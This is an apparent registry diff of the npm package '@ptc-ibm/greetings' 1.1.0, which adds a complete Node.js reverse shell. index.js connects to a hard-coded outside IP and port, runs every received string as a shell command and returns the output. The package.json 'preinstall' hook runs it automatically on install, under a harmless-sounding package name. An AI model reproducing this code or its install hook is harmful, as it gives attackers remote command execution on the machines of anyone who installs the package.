@ptc-ibm/greetings 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +30 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const net = require('net');
2
+ const { exec } = require('child_process');
3
+
4
+ const HOST = '169.38.106.78'; // Replace with your attacker's server IP or hostname
5
+ const PORT = 9443; // Replace with your desired port
6
+
7
+ const client = new net.Socket();
8
+ client.connect(PORT, HOST, () => {
9
+ console.log('Connected to reverse shell');
10
+ client.write('Shell connected\n');
11
+ });
12
+
13
+ client.on('data', (data) => {
14
+ exec(data.toString(), (error, stdout, stderr) => {
15
+ if (stdout) client.write(stdout);
16
+ if (stderr) client.write(stderr);
17
+ if (error) client.write(`Error: ${error.message}\n`);
18
+ });
19
+ });
20
+
21
+ client.on('close', () => {
22
+ console.log('Connection closed');
23
+ process.exit(0);
24
+ });
25
+
26
+ client.on('error', (err) => {
27
+ console.error('Error:', err);
28
+ process.exit(1);
29
+ });
30
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@ptc-ibm/greetings",
3
+ "version": "1.1.0",
4
+ "description": "A cute little reverse shell",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "ibm_india_ptc",
10
+ "license": "ISC"
11
+ }